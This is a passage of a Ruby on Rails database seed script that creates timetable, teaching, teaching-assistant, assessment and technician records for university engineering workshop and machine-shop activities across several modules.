nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a3.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a4 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at4 = ActivityTimetable.where(activity_id: a4.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a4.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a4.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a4.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a4.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a4.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a5 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at5 = ActivityTimetable.where(activity_id: a5.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a5.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a5.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a5.id).first_or_create!(assess_weight: nil, notes: \"Assessed in MEC130\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a5.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a5.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a6 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at6 = ActivityTimetable.where(activity_id: a6.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a6.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a6.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a6.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a6.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a6.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a7 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at7 = ActivityTimetable.where(activity_id: a7.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a7.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a7.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a7.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a7.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a7.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a8 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 1)\n at8 = ActivityTimetable.where(activity_id: a8.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a8.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a8.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a8.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a8.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a8.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a9 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at9 = ActivityTimetable.where(activity_id: a9.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a9.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a9.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a9.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a9.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a9.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a10 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at10 = ActivityTimetable.where(activity_id: a10.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a10.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a10.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a10.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a10.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a10.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a11 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at11 = ActivityTimetable.where(activity_id: a11.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a11.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a11.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a11.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a11.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a11.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a12 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at12 = ActivityTimetable.where(activity_id: a12.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a12.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a12.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a12.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a12.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a12.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a13 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at13 = ActivityTimetable.where(activity_id: a13.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a13.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a13.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a13.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a13.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a13.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a14 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at14 = ActivityTimetable.where(activity_id: a14.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a14.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a14.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a14.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a14.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a14.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a15 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA GYRO\", archived: true, in_drive: false, user_id: 5)\n at15 = ActivityTimetable.where(activity_id: a15.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a15.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a15.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a15.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a15.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a15.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a16 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at16 = ActivityTimetable.where(activity_id: a16.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a16.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a16.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a16.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a16.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a16.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a17 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: false, user_id: 5)\n at17 = ActivityTimetable.where(activity_id: a17.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a17.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a17.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a17.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a17.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a17.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a18 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 3)\n at18 = ActivityTimetable.where(activity_id: a18.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a18.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a18.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a18.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a18.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a18.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a19 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at19 = ActivityTimetable.where(activity_id: a19.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a19.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a19.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a19.id).first_or_create!(assess_weight: 12.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a19.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a19.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a20 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at20 = ActivityTimetable.where(activity_id: a20.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a20.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a20.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a20.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a20.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a20.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a21 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 2)\n at21 = ActivityTimetable.where(activity_id: a21.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a21.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a21.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a21.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a21.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a21.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a22 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 1)\n at22 = ActivityTimetable.where(activity_id: a22.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a22.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a22.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a22.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a22.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a22.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a23 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 3)\n at23 = ActivityTimetable.where(activity_id: a23.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a23.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a23.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a23.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a23.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a23.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a24 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at24 = ActivityTimetable.where(activity_id: a24.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a24.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a24.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a24.id).first_or_create!(assess_weight: nil, 